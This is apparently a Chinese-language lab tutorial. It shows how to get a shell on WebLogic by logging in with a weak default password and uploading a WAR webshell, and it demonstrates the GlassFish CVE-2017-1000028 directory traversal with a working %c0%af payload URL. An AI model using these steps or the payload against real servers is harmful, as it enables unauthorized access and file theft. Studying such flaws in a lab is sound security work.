Weblogic 弱口令&& 後台getshell

弱口令參考：//cirt.net/passwords?criteria=WebLogic

訪問//127.0.0.1:7001/console

自動重定向到//127.0.0.1:7001/console/login/LoginForm.jsp，使用弱口令登陸後台（默認用戶名weblogic ,我設置的密碼admin888）。
點擊部署，進一步點擊右邊的安裝。

點擊上載文件，

選擇war包，點擊下一步

上傳完成以後選中你上傳的文件,點擊下一步

選中作為應用程序安裝，點擊下一步

然後直接點擊完成即可

選用我們安裝的應用，點擊啟動即可

訪問：//ip:port/[war包名]/[包名內文件名]

這裡是//192.168.0.163:7001/shell/shell.jsp

沒有報錯，說明上載成功，連接天蠍

GlassFish

GlassFish 是用於構建 Java EE 5應用服務器的開源開發項目的名稱。它基於 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代碼以及 Oracle 貢獻的 TopLink 持久性代碼。該項目提供了開發高質量應用服務器的結構化過程，以前所未有的速度提供新的功能。

默認端口：8080（Web應用端口，即網站內容），4848（GlassFish管理中心）

默認返回的指紋信息:

Server: GlassFish Server Open Source Edition  4.1.2
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition  4.1.2  Java/Oracle Corporation/1.8)

下載4.1.2版本: //download.java.net/glassfish/4.1.2/release/glassfish-4.1.2.zip

解壓後，進入glassfish/bin目錄下打開CMD窗口輸入asadmin start-domain啟動glassfish

asadmin stop-domain 停止glassfish

GlassFish Directory Traversal（ CVE-2017-1000028）

java語言中會把%c0%af解析為\uC0AF，最後轉義為ASCCII字符的/（斜杠）。利用..%c0%af..%c0%af來向上跳轉，達到目錄穿越、任意文件讀取的效果。

解析原理：
計算機指定了UTF8編碼接收二進制並進行轉義，當發現位元組以0開頭，表示這是一個標準ASCII字符，直接轉義，當發現110開頭，則取2個位元組去掉110模板後轉義。 UTF8編碼模板如下:

C0AF （16進制）轉換位二進制為 110 00000 10 101111 ，110開頭去掉模板後為00000 101111 轉換為10進制為47，ASSCI為/

受影響版本：<=4.1.2版本

啟動GlassFish後，訪問

//your-ip:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

發現成功讀取win.ini文件